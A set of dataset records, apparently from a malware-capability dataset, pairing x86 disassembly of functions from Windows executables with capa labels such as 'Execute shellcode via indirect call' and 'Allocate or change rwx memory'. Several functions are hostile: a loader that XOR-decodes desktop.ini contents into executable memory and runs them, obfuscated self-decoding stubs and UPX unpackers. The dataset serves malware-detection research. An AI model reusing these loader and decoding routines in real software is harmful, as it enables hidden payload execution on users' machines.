joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41bd00
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
xor edx, edx
mov eax, edx
and eax, 1
dec eax
not eax
and eax, 0xedb88320
mov ecx, edx
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov dword [edx*4 + 0x424c80], ecx
inc edx
cmp edx, 0x100
jb 0x41bd02
cmp edx, 0x800
jae 0x41bdd9
lea esp, [esp]
mov eax, dword [edx*4 + 0x424880]
mov ecx, eax
and ecx, 0xff
shr eax, 8
xor eax, dword [ecx*4 + 0x424c80]
inc edx
mov dword [edx*4 + 0x424c7c], eax
cmp edx, 0x800
jb 0x41bdb0
mov eax, 0x41c5e0
mov dword [0x424c7c], eax
mov dword [0x426c80], eax
mov dword [0x424c78], 0x41c500
call fcn.0041c010
test eax, eax
jne 0x41be05
mov dword [0x426c80], 0x41c500
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x401112
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x476030]
jne 0x40111c
repz ret
jmp fcn.00401d31

Function at 0x409100
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040587e
and dword [ebp - 4], 0
cmp dword [0x478790], 0
mov ebx, eax
jne 0x4091b1
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x409262
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x409262
push eax
call fcn.0040580c
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x478790], eax
call esi
push eax
call fcn.0040580c
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x478794], eax
call esi
push eax
call fcn.0040580c
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x478798], eax
call esi
push eax
call fcn.0040580c
pop ecx
mov dword [0x4787a0], eax
test eax, eax
je 0x4091b1
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040580c
pop ecx
mov dword [0x47879c], eax
mov eax, dword [0x47879c]
cmp eax, ebx
je 0x409209
cmp dword [0x4787a0], ebx
je 0x409209
push eax
call fcn.00405887
push dword [0x4787a0]
mov esi, eax
call fcn.00405887
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x409209
test edi, edi
je 0x409209
call esi
test eax, eax
je 0x409200
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x409200
test byte [ebp - 0xc], 1
jne 0x409209
or dword [ebp + 0x10], 0x200000
jmp 0x409242
mov eax, dword [0x478794]
cmp eax, ebx
je 0x409242
push eax
call fcn.00405887
pop ecx
test eax, eax
je 0x409242
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x409242
mov eax, dword [0x478798]
cmp eax, ebx
je 0x409242
push eax
call fcn.00405887
pop ecx
test eax, eax
je 0x409242
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x478790]
call fcn.00405887
pop ecx
test eax, eax
je 0x409262
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x409264
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40b130
Capabilities:
Set console window title

Disassembly:
sub esp, 0x428
mov eax, dword [0x476030]
xor eax, esp
mov dword [esp + 0x424], eax
mov eax, dword [0x2b311cc]
push ebx
mov ebx, dword [0x2b30eec]
push esi
mov esi, dword [0x476f60]
push edi
mov edi, eax
cmp eax, 0x930
jne 0x40b171
push str.wozekajevirifegavonetucusiva
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov eax, dword [0x2b311cc]
mov dword [0x2b30ee8], esi
cmp eax, 0x114e
jne 0x40b199
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
lea eax, [esp + 0x14]
push eax
push str.gavipokucohuj
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
mov eax, dword [0x2b311cc]
cmp eax, 0x2f
jne 0x40b1bb
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReadEventLogA]
call fcn.0040b060
mov ecx, dword [esp + 0x430]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401112
add esp, 0x428
ret
Function at 0x40b15f
Capabilities:
Set console window title

Disassembly:
sub esp, 0x428
mov eax, dword [0x476030]
xor eax, esp
mov dword [esp + 0x424], eax
mov eax, dword [0x2b311cc]
push ebx
mov ebx, dword [0x2b30eec]
push esi
mov esi, dword [0x476f60]
push edi
mov edi, eax
cmp eax, 0x930
jne 0x40b171
push str.wozekajevirifegavonetucusiva
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov eax, dword [0x2b311cc]
mov dword [0x2b30ee8], esi
cmp eax, 0x114e
jne 0x40b199
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
lea eax, [esp + 0x14]
push eax
push str.gavipokucohuj
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
mov eax, dword [0x2b311cc]
cmp eax, 0x2f
jne 0x40b1bb
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReadEventLogA]
call fcn.0040b060
mov ecx, dword [esp + 0x430]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401112
add esp, 0x428
ret
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x401c66
pop dword [ebp - 0x10]
mov eax, 0x405c655b
add eax, 0xbfe3b70b
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x15527b76
add dword [ebp - 0x20], 0x38ffc9d5
mov dword [ebp - 0x1c], 0xd8b95b16
sub dword [ebp - 0x1c], 0xa6860ed1
mov dword [ebp - 0x18], 0x429ef9ad
sub dword [ebp - 0x18], 0xf652b57f
mov dword [ebp - 0x14], 0x91040b2a
sub dword [ebp - 0x14], 0x91040b2a
lea eax, [ebp - 0x20]
push eax
mov eax, 0xecbb124c
add eax, 0x13851e08
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x78c1324c
add dword [ebp - 0x20], 0xfbb1370a
mov dword [ebp - 0x1c], 0xd7187cc2
add dword [ebp - 0x1c], 0x6a53e4b3
mov dword [ebp - 0x18], 0xccb1236c
sub dword [ebp - 0x18], 0x6941b700
mov dword [ebp - 0x14], 0xc60255e0
add dword [ebp - 0x14], 0x39fdaa20
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x25319c4d
sub eax, 0x24f16c21
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x356fa
push 0
call eax
mov ecx, 0x3603b616
add ecx, 0xc9fc8dbc
xor ebx, ebx
add ebx, eax
mov edi, 0x407000
add edi, dword [ebp - 0x10]
mov edx, 0xde5feed5
add edx, 0xbd38e86b
add dword [ebp - 8], 0x760916e1
mov esi, dword [edi]
add dword [ebp - 8], eax
sub esi, edx
xor dword [ebp - 8], ecx
mov dword [ebx], esi
sub dword [ebp - 8], ebx
add ebx, 0x5e976b03
add ebx, 0xa1689501
add edi, 0x849071d6
add edi, 0x7b6f8e2e
loop 0x401d84
add eax, 0xc2e2ff0a
sub eax, 0xc2e1fcef
xor ebx, ebx
add ebx, eax
add eax, 0x2de08c1e
sub eax, 0x2de08c19
mov ecx, 0x8f11344a
sub ecx, 0x8ed1344a
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x40da30
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xa000]
push edi
or ebp, 0xffffffff
jmp 0x40da52
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40da59
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40da48
mov eax, 1
add ebx, ebx
jne 0x40da6b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40da60
jne 0x40da7c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40da60
xor ecx, ecx
sub eax, 3
jb 0x40da90
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40db02
mov ebp, eax
add ebx, ebx
jne 0x40da9b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40daa8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40dacc
inc ecx
add ebx, ebx
jne 0x40dab8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40daad
jne 0x40dac9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40daad
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40daec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40dadd
jmp 0x40da4e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40daec
add edi, ecx
jmp 0x40da4e
pop esi
mov edi, esi
mov ecx, 0x2b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40db0a
cmp byte [edi], 0
jne 0x40db0a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40db0f
lea edi, [esi + 0xb000]
mov eax, dword [edi]
or eax, eax
je 0x40db7e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1199c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x11a24]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40db3c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x11a2c]
or eax, eax
je 0x40db78
mov dword [ebx], eax
add ebx, 4
jmp 0x40db59
call dword [esi + 0x11a28]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x40dbaf
cmp al, 0xef
ja 0x40dba2
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x40db84
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x40db91
mov ebp, dword [esi + 0x11a30]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40dbe3
sub esp, 0xffffff80
jmp 0x403222
Function at 0x3f748d07
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.kernel32.dll_FindResourceW]
push 0xa
push 0x3e7
mov esi, ecx
push dword [0x3f7ea024]
call edi
mov ebx, dword [sym.imp.kernel32.dll_LoadResource]
push eax
push dword [0x3f7ea024]
call ebx
mov ebp, dword [sym.imp.kernel32.dll_LockResource]
push eax
call ebp
push 0xa
push 0x3e6
mov dword [esi + 0x950], eax
push dword [0x3f7ea024]
call edi
push eax
push dword [0x3f7ea024]
call ebx
push eax
call ebp
push 0xa
push 0x3e5
mov dword [esi + 0x94c], eax
push dword [0x3f7ea024]
call edi
push eax
push dword [0x3f7ea024]
call ebx
push eax
call ebp
movzx eax, word [eax]
lea edi, [esi + 0x95c]
push 4
mov dword [edi], eax
shl eax, 2
push eax
call fcn.3f7448c0
mov dword [esi + 0x954], eax
mov eax, dword [edi]
shl eax, 1
push eax
call fcn.3f6e901c
add esp, 0xc
mov dword [esi + 0x958], eax
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x3f7ae8b6
Capabilities:
Accept command line arguments

Disassembly:
cmp dword [esp + 8], 1
jne 0x3f7ae93b
call dword [sym.imp.kernel32.dll_GetVersion]
push 0
mov dword [0x3f7ead10], eax
call fcn.3f7aebe8
test eax, eax
pop ecx
je 0x3f7e29c5
mov eax, dword [0x3f7ead10]
xor ecx, ecx
mov cl, byte [0x3f7ead11]
and eax, 0xff
shr dword [0x3f7ead10], 0x10
mov dword [0x3f7ead18], eax
mov dword [0x3f7ead1c], ecx
shl eax, 8
add eax, ecx
mov dword [0x3f7ead14], eax
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x3f7eae40], eax
call fcn.3f7aec83
mov dword [0x3f7ead08], eax
call fcn.3f7aed2c
call fcn.3f745e03
call fcn.3f7af5fc
call fcn.3f7af6b6
inc dword [0x3f7ead04]
push 1
pop eax
ret 0xc
xor eax, eax
cmp dword [esp + 8], eax
jne 0x3f7ae935
cmp dword [0x3f7ead04], eax
jle 0x3f7e29c5
dec dword [0x3f7ead04]
cmp dword [0x3f7ead20], eax
jne 0x3f7ae962
call fcn.3f7ae9a8
call fcn.3f7aeb4e
call fcn.3f7aeb73
jmp 0x3f7ae935
xor eax, eax
jmp 0x3f7ae938

Function at 0x3f7ae9b7
Capabilities:
Terminate process

Disassembly:
push edi
push 1
pop edi
cmp dword [0x3f7eae64], edi
je 0x3f7e3905
cmp dword [esp + 0xc], 0
push ebx
mov ebx, dword [esp + 0x14]
mov dword [0x3f7ead20], edi
mov byte [0x3f7eae60], bl
jne 0x3f7ae9fd
mov eax, dword [0x3f7eae68]
test eax, eax
jne 0x3f7e391b
push 0x3f7eae50
push 0x3f7eae48
call fcn.3f7ae96e
pop ecx
pop ecx
push 0x3f7eae5c
push 0x3f7eae54
call fcn.3f7ae96e
pop ecx
pop ecx
test ebx, ebx
pop ebx
je 0x3f7e3942
pop edi
ret
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
jmp 0x3f7ae9c7
mov ecx, dword [0x3f7f9da0]
push esi
lea esi, [ecx - 4]
cmp esi, eax
jb 0x3f7e393c
mov eax, dword [esi]
test eax, eax
je 0x3f7e3931
call eax
sub esi, 4
cmp esi, dword [0x3f7eae68]
jae 0x3f7e3929
pop esi
jmp 0x3f7ae9ec
push dword [esp + 8]
mov dword [0x3f7eae64], edi
call dword [sym.imp.kernel32.dll_ExitProcess]
Function at 0x3f7aec83
Capabilities:
Query environment variable

Disassembly:
push ecx
push ecx
mov eax, dword [0x3f7eb338]
push ebx
push ebp
mov ebp, dword [sym.imp.kernel32.dll_GetEnvironmentStringsW]
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jne 0x3f7e551f
call ebp
mov esi, eax
cmp esi, ebx
je 0x3f7e5503
mov dword [0x3f7eb338], 1
cmp esi, ebx
je 0x3f7e5529
cmp word [esi], bx
mov eax, esi
je 0x3f7aecd5
inc eax
inc eax
cmp word [eax], bx
jne 0x3f7aecc7
inc eax
inc eax
cmp word [eax], bx
jne 0x3f7aecc7
sub eax, esi
mov edi, dword [sym.imp.kernel32.dll_WideCharToMultiByte]
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov dword [esp + 0x34], eax
call edi
mov ebp, eax
cmp ebp, ebx
je 0x3f7aed1c
push ebp
call fcn.3f6e901c
cmp eax, ebx
pop ecx
mov dword [esp + 0x10], eax
je 0x3f7aed1c
push ebx
push ebx
push ebp
push eax
push dword [esp + 0x24]
push esi
push ebx
push ebx
call edi
test eax, eax
je 0x3f7e5536
mov ebx, dword [esp + 0x10]
push esi
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
call dword [sym.imp.kernel32.dll_GetEnvironmentStrings]
mov edi, eax
cmp edi, ebx
je 0x3f7e559d
mov dword [0x3f7eb338], 2
jmp 0x3f7e554e
cmp eax, 1
jne 0x3f7e5549
jmp 0x3f7aecb8
call ebp
mov esi, eax
cmp esi, ebx
je 0x3f7e559d
jmp 0x3f7aecc0
push dword [esp + 0x10]
call fcn.3f6e9364
pop ecx
mov dword [esp + 0x10], ebx
jmp 0x3f7aed18
cmp eax, 2
jne 0x3f7e559d
cmp edi, ebx
jne 0x3f7e555e
call dword [sym.imp.kernel32.dll_GetEnvironmentStrings]
mov edi, eax
cmp edi, ebx
je 0x3f7e559d
cmp byte [edi], bl
mov eax, edi
je 0x3f7e556e
inc eax
cmp byte [eax], bl
jne 0x3f7e5564
inc eax
cmp byte [eax], bl
jne 0x3f7e5564
sub eax, edi
inc eax
mov ebp, eax
push ebp
call fcn.3f6e901c
mov esi, eax
pop ecx
cmp esi, ebx
jne 0x3f7e5584
xor esi, esi
jmp 0x3f7e558f
push ebp
push edi
push esi
call fcn.3f745e03
add esp, 0xc
push edi
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsA]
mov eax, esi
jmp 0x3f7aed25
xor eax, eax
jmp 0x3f7aed25
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x401c66
pop dword [ebp - 0x48]
mov eax, 0x401c66
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xcfac7be
sub dword [ebp - 0x58], 0xbea88273
mov dword [ebp - 0x54], 0xbb116852
add dword [ebp - 0x54], 0x7721e3f3
mov dword [ebp - 0x50], 0x2f49ec20
add dword [ebp - 0x50], 0x1d02580e
mov dword [ebp - 0x4c], 0x45ab3a4c
sub dword [ebp - 0x4c], 0x45ab3a4c
lea eax, [ebp - 0x58]
push eax
mov eax, 0x5de3d3da
add eax, 0xa25c5c7a
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xca1f09
sub dword [ebp - 0x58], 0x8c57b5b3
mov dword [ebp - 0x54], 0x95bf6532
sub dword [ebp - 0x54], 0x545303bd
mov dword [ebp - 0x50], 0xcfd71379
sub dword [ebp - 0x50], 0x6c67a70d
mov dword [ebp - 0x4c], 0x689be0ce
add dword [ebp - 0x4c], 0x97641f32
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x26c560ec
add eax, 0xd97acf40
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3a40e
push 0
call eax
mov ecx, 0xec3f3441
sub ecx, 0xec3edd2a
mov edi, eax
mov edx, 0xa365fbc6
add edx, 0x5cda743a
add edx, dword [ebp - 0x48]
mov esi, 0x316ee10e
mov ebx, dword [edx]
add dword [ebp - 0x40], ecx
xor ebx, esi
add dword [ebp - 0x3c], 0xc6581196
mov dword [edi], ebx
add edi, 0x3dfee31a
sub edi, 0x3dfee316
add edx, 0xafff7e09
sub edx, 0xafff7e05
loop 0x401d7d
add eax, 0x14f2f
xor ebx, ebx
add ebx, eax
add eax, 0x3694559e
add eax, 0xc96baa67
mov ecx, 0x400000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x40b6e0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x8000]
push edi
or ebp, 0xffffffff
jmp 0x40b702
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40b709
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40b6f8
mov eax, 1
add ebx, ebx
jne 0x40b71b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40b710
jne 0x40b72c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40b710
xor ecx, ecx
sub eax, 3
jb 0x40b740
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40b7b2
mov ebp, eax
add ebx, ebx
jne 0x40b74b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40b758
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40b77c
inc ecx
add ebx, ebx
jne 0x40b768
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40b75d
jne 0x40b779
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40b75d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40b79c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40b78d
jmp 0x40b6fe
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40b79c
add edi, ecx
jmp 0x40b6fe
pop esi
lea edi, [esi + 0x9000]
mov eax, dword [edi]
or eax, eax
je 0x40b7fb
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xd068]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xd0c0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40b7b9
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xd0c8]
or eax, eax
je 0x40b7f5
mov dword [ebx], eax
add ebx, 4
jmp 0x40b7d6
call dword [esi + 0xd0c4]
mov ebp, dword [esi + 0xd0cc]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40b82f
sub esp, 0xffffff80
jmp 0x402d70

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x10005a30
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x37c8
call fcn.10062440
mov eax, dword [0x1008d00c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push dword [ecx]
lea eax, [ebp - 0x108]
xor esi, esi
push str..PhysicalDrive_d
push eax
call fcn.10006300
add esp, 0xc
lea eax, [ebp - 0x108]
push esi
push esi
push 3
push esi
push 3
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10005c53
push 0x2710
lea eax, [ebp - 0x37b8]
mov dword [ebp - 0x37bc], esi
push esi
push eax
mov dword [ebp - 0x37c0], esi
mov dword [ebp - 0x37c8], esi
mov dword [ebp - 0x37c4], esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x37bc]
push esi
push eax
push 0x2710
lea eax, [ebp - 0x37b8]
push eax
push 0xc
lea eax, [ebp - 0x37c8]
push eax
push 0x2d1400
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x10005c46
mov edx, dword [ebp - 0x37ac]
lea eax, [ebp - 0x8d8]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.100058a0
mov edx, dword [ebp - 0x37a8]
lea eax, [ebp - 0xcc0]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.100058a0
mov edx, dword [ebp - 0x37a4]
lea eax, [ebp - 0x10a8]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.100058a0
mov edx, dword [ebp - 0x37a0]
lea eax, [ebp - 0x4f0]
push eax
push 1
lea ecx, [ebp - 0x37b8]
call fcn.100058a0
add esp, 0x20
cmp byte [0x1008eaf8], 0
jne 0x10005c09
movsx eax, byte [ebp - 0x4f0]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalnum]
add esp, 4
test eax, eax
jne 0x10005b82
movsx eax, byte [ebp - 0x4dd]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalnum]
add esp, 4
test eax, eax
je 0x10005c09
xor ecx, ecx
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x8d8]
lea ecx, [ecx + 1]
mov byte [ecx + 0x1008e6f7], al
test al, al
jne 0x10005b90
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0xcc0]
lea ecx, [ecx + 1]
mov byte [ecx + 0x1008def7], al
test al, al
jne 0x10005bb0
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x4f0]
lea ecx, [ecx + 1]
mov byte [ecx + 0x1008eaf7], al
test al, al
jne 0x10005bd0
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x10a8]
lea ecx, [ecx + 1]
mov byte [ecx + 0x1008e2f7], al
test al, al
jne 0x10005bf0
mov esi, 1
push 0x2710
lea eax, [ebp - 0x37b8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x37bc]
push 0
push eax
push 0x2710
lea eax, [ebp - 0x37b8]
push eax
push 0
push 0
push 0x700a0
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
jmp 0x10005c4c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.10061099
mov esp, ebp
pop ebp
ret